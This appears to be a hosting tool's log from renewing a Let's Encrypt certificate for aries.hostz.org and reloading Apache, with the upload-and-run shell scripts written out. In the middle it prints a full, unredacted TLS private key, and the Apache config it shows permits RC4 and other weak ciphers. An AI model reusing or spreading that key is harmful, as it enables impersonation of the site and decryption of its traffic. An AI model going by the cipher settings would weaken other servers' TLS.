if [ -d "/var/www/hostz_aries/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-06-14 06:00:04: 

chmod 755 /tmp/pkp173846; /tmp/pkp173846; rm /tmp/pkp173846

2026-06-14 06:00:04: 


1


2026-06-14 06:00:05: Establishing a connection
2026-06-14 06:00:05: 

PUT: /tmp/pkp189719

#!/bin/bash
mkdir -p "/var/www/hostz_aries/.well-known/acme-challenge/"
cd "/var/www/hostz_aries/.well-known/acme-challenge/"
cat > 94jQFl8cYeQDTEaBZq5hSfJtdc49cccMsklIfSaNChY <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
94jQFl8cYeQDTEaBZq5hSfJtdc49cccMsklIfSaNChY.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 94jQFl8cYeQDTEaBZq5hSfJtdc49cccMsklIfSaNChY


2026-06-14 06:00:05: 

chmod 755 /tmp/pkp189719; /tmp/pkp189719; rm /tmp/pkp189719

2026-06-14 06:00:05: 




2026-06-14 06:00:11: Establishing a connection
2026-06-14 06:00:11: 

PUT: /tmp/pkp488510

#!/bin/bash
mkdir -p "/var/www/hostz_aries/.well-known/acme-challenge/"
cd "/var/www/hostz_aries/.well-known/acme-challenge/"
rm 94jQFl8cYeQDTEaBZq5hSfJtdc49cccMsklIfSaNChY


2026-06-14 06:00:11: 

chmod 755 /tmp/pkp488510; /tmp/pkp488510; rm /tmp/pkp488510

2026-06-14 06:00:11: 




2026-06-14 06:00:11: Establishing a connection
2026-06-14 06:00:11: 

PUT: /tmp/pkp230328

#!/bin/bash
temp_file=$(mktemp)
TARGET=13385323b2ba6119b083bb652d070eb4.crt

cat > $temp_file <<'endmsg'
19:9c:99:63:d8:6e:bd:b9:a1:71:f1:42:db:42:21:b9

-----BEGIN CERTIFICATE-----
MIIE+DCCA+CgAwIBAgISBUnYL/W7ueUnrJ/WH1N220gQMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNjE0MDUwMTQwWhcNMjYwOTEyMDUwMTM5WjAaMRgwFgYDVQQD
Ew9hcmllcy5ob3N0ei5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQCRyS7+SVN0TXlWXcM13fw33iZT2wVi6XDqsCn/Tx2mGZM5XiwDXskBrkLA0Gxy
mnAFMa4QiKUp/xkuTKs4CGu+cJTFnvxFypYp+w5DGU5kUjmi6mvuSaiv4ZnOiin8
SdBvbU2Ht0kXyxZgqkAqnaRfk2WXucVyN4WOKGwgV8BX3rY5TUK4MjfrY4mo9wQK
2M+/0biYUBIvSnfrkcSnf59Qj0CwE2gnhfbcGToPhxp6P8iBufiFb2n8gAXUeYuN
zbC04j+B/+tFRirug3CtZxBHK4ua3yUPDI7f9YfW0tqotXnHUGdHeq2tUSnY7hg8
+rsOzGhdPLXIM1vwE181boXlAgMBAAGjggIdMIICGTAOBgNVHQ8BAf8EBAMCBaAw
EwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUePCs
HGbGLC7jFm+F8jLMMpsXFh8wHwYDVR0jBBgwFoAUQBUtJnntMiCe35pyHdYyH4EM
gQwwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8veXIyLmkubGVu
Y3Iub3JnLzAaBgNVHREEEzARgg9hcmllcy5ob3N0ei5vcmcwEwYDVR0gBAwwCjAI
BgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3lyMi5jLmxlbmNyLm9y
Zy8xNy5jcmwwggEMBgorBgEEAdZ5AgQCBIH9BIH6APgAdgDXbX0Q0af1d8LH6V/X
AL/5gskzWmXh0LMBcxfAyMVpdwAAAZ7Et1k+AAAEAwBHMEUCIQDYZsJe56yf9JLc
Z2iiUdE0gOfD0zIERHM/DSaBdJMiHgIga3hGYIUif5DJv0GlewX8ZkllBbH8N2WD
3gjskO8ONpQAfgBGr4Y9Oz7ln6V33qgkXTaw2e0ioiP0YXdBIpRS7pVQXwAAAZ7E
t1oTAAgAAAUACa38nQQDAEcwRQIhANniKhhRy4FzlfILOpGehyJDx74nY3e+RwFc
d12pfyXtAiBiAbwFTqETc2LIV0OElgoF0EbwiBc9H090/+Wur1bs1jANBgkqhkiG
9w0BAQsFAAOCAQEAJvrc7d2vq8o7+wu3ec3ChUchGfClKBfVDdJ2vNxf8n2VwRHe
nZ/Y6jY6PSQyg6jR/YhbyNRmC/GbMuwSzIOg6evJG8AuRdQjqomk2GLvNFtR2Nxo
r7noTVLPHf4Dm8wb/2e7bOdexLLXJwyzH6086YJvhLjTbbivdHksGpj8zjrmlGQE
YQwpaCXxY7nOBIbXke7y8x+M2F4WVKH1tmlzawgiatDCuHAcEbeRCc3ZEXeXjXBL
JUfmws46FBWtcYiauNLHv9B/YtmTocto0qzt28Y/D6/7GWFbd9iIydR59+dhbs9i
QBGqPEhI3TDPwrRuLKc6YR0mW1tz8EQpMKhYeg==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCRyS7+SVN0TXlW
XcM13fw33iZT2wVi6XDqsCn/Tx2mGZM5XiwDXskBrkLA0GxymnAFMa4QiKUp/xku
TKs4CGu+cJTFnvxFypYp+w5DGU5kUjmi6mvuSaiv4ZnOiin8SdBvbU2Ht0kXyxZg
qkAqnaRfk2WXucVyN4WOKGwgV8BX3rY5TUK4MjfrY4mo9wQK2M+/0biYUBIvSnfr
kcSnf59Qj0CwE2gnhfbcGToPhxp6P8iBufiFb2n8gAXUeYuNzbC04j+B/+tFRiru
g3CtZxBHK4ua3yUPDI7f9YfW0tqotXnHUGdHeq2tUSnY7hg8+rsOzGhdPLXIM1vw
E181boXlAgMBAAECggEAI7I+Nndf3tdlgXc96D+tlURo4Bl97SU5x81QyznlCZmz
idV8M2sPDsFLiQi/tSQJj8wFUfkTcAANe1+8gODW+O96DhWKsdAUCr11VYqpvji/
8hsySEty6XX1AjSkaSjtx4rc9AE1/YR1uz+UrJqi9+AQfSE4rmnX4uIU76ps51a7
S0neEpn+DLxuh3fR+6sQ9N89pNEw6wb9QpTOB5fhLoKFXNCxAkLYSRzbWlRprZIv
wzxM3uyL9qsNyU8PWqx2+C2bdz3VbQBe8MXwEILAVLbP6Vxjui2nCVXjxafZknXB
2kx4TS8FelFVcr9O6ZwbeBX0hJZCEAR20ZQwrYlGgQKBgQDL4BKna1Cu9pMGG/Iq
7swB0q72JOPov2Jbj765+nnUQZSVNCivnytLOCDUCESg9rbPrqxbR7ox1/Fmq4gD
13ZLnZy2/NnhwPN59hrQgynhNgdRj2nh48cXbXER9wY5ByxsKZdlPHNOAHsXP6/V
V33ZXCctxvTXHVzoTTrvqRW0BQKBgQC3DxN/7uZoAF9zIv0isY/hoSHDIsxIo1M7
RErfNpJwjNaV/WRFRZ/h5daqi0qkfeffMmuHVXSYTg0LB34AvK171G9Jz4ya7q+S
RjK4+x3KZS4r6FMOtL/bCv+qMRpBdeX1kua8bdp0gSjXXQIPQedubu78jXZUt1Yo
wFvORDEQYQKBgQCtUUZKcZ7bvt7qWKOc//kKq7L1qhLecKULNb5smJUtbrsDxJ25
/1Rs08CEwKqnNFXhZJs91lJhwTSFldlBetAkJE9v+LC5jLDvw9qz3G2j+axrF8Jp
uJwuPGndXeU6YfDP2uPLuoJDk4ERGKFAeuqP+BmOfw7yORIcolsyFspOiQKBgFFZ
fczombO2FrTP47Y7OjmGpb5WBHpzOlWoL62qTsF9lQ7qoFi4bCizPwZjCDS5TwW9
HlPyAfJ9HQa9uZ0SO/Y/nYUrmsxvLc7PK1NRJRgAhtg0UlTCtk/dP2iekZBtmFfd
hHRQTThg/YlXZ8bn/rTwz3ukUeWr47oQYbv0SemBAoGAMekArLrlyQZVVec/9UmP
9TFLNdMYsSw/iYqf5Us1G8AEpFhSiEIa5+KH/pvrbDrWFtlG2Mk7fU8wHUMO+pjx
OtwNRxkm8p7XatbKzDtGYxOzVawGtJEvuc1QqJSq22g9GGlzp6lwErMZZIB9sHqp
f/b61gIwbGsm2zt8eYu5FHo=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-06-14 06:00:11: 

chmod 755 /tmp/pkp230328; /tmp/pkp230328; rm /tmp/pkp230328

2026-06-14 06:00:11: 


dir=/etc/ssl/certs


2026-06-14 06:00:11: 

PUT: /tmp/pkp213317

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hostz_aries_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-06-14 06:00:11: 

chmod 755 /tmp/pkp213317; /tmp/pkp213317; rm /tmp/pkp213317

2026-06-14 06:00:12: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_aries_org.conf 39

<VirtualHost *:80>
    ServerName	aries.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_aries
    <Directory /var/www/hostz_aries>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/aries_access.log combined
    ErrorLog	/var/log/apache2/hostz/aries_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	aries.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/13385323b2ba6119b083bb652d070eb4.crt
    DocumentRoot	/var/www/hostz_aries
    <Directory /var/www/hostz_aries>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_aries/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/hostz/aries_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/aries_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>






2026-06-14 06:00:12: 

PUT: /tmp/pkp296270

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hostz_aries_org.conf
TARGET=/etc/apache2/sites-enabled/hostz_aries_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	aries.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_aries
    <Directory /var/www/hostz_aries>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/aries_access.log combined
    ErrorLog	/var/log/apache2/hostz/aries_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	aries.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/13385323b2ba6119b083bb652d070eb4.crt
    DocumentRoot	/var/www/hostz_aries
    <Directory /var/www/hostz_aries>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_aries/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/hostz/aries_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/aries_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hostz_aries_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hostz_aries_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hostz_aries_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hostz_aries_org.conf= 1'
fi


2026-06-14 06:00:12: 

chmod 755 /tmp/pkp296270; /tmp/pkp296270; rm /tmp/pkp296270

2026-06-14 06:00:12: 




2026-06-14 06:00:12: 

PUT: /tmp/pkp943741

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-06-14 06:00:12: 

chmod 755 /tmp/pkp943741; /tmp/pkp943741; rm /tmp/pkp943741

2026-06-14 06:00:12: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-14 06:00:12: Establishing a connection
2026-06-14 06:00:12: 

PUT: /tmp/pkp973919

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-06-14 06:00:12: 

chmod 755 /tmp/pkp973919; /tmp/pkp973919; rm /tmp/pkp973919

2026-06-14 06:00:12: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost hub.pjy.us (/etc/apache2/sites-enabled/pjy_hub_us.conf:2)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost hub.pjy.us (/etc/apache2/sites-enabled/pjy_hub_us.conf:22)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-14 06:00:12: 

PUT: /tmp/pkp293115

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hostz_aries_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-14 06:00:12: 

chmod 755 /tmp/pkp293115; /tmp/pkp293115; rm /tmp/pkp293115

2026-06-14 06:00:12: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_aries_org.conf	1872

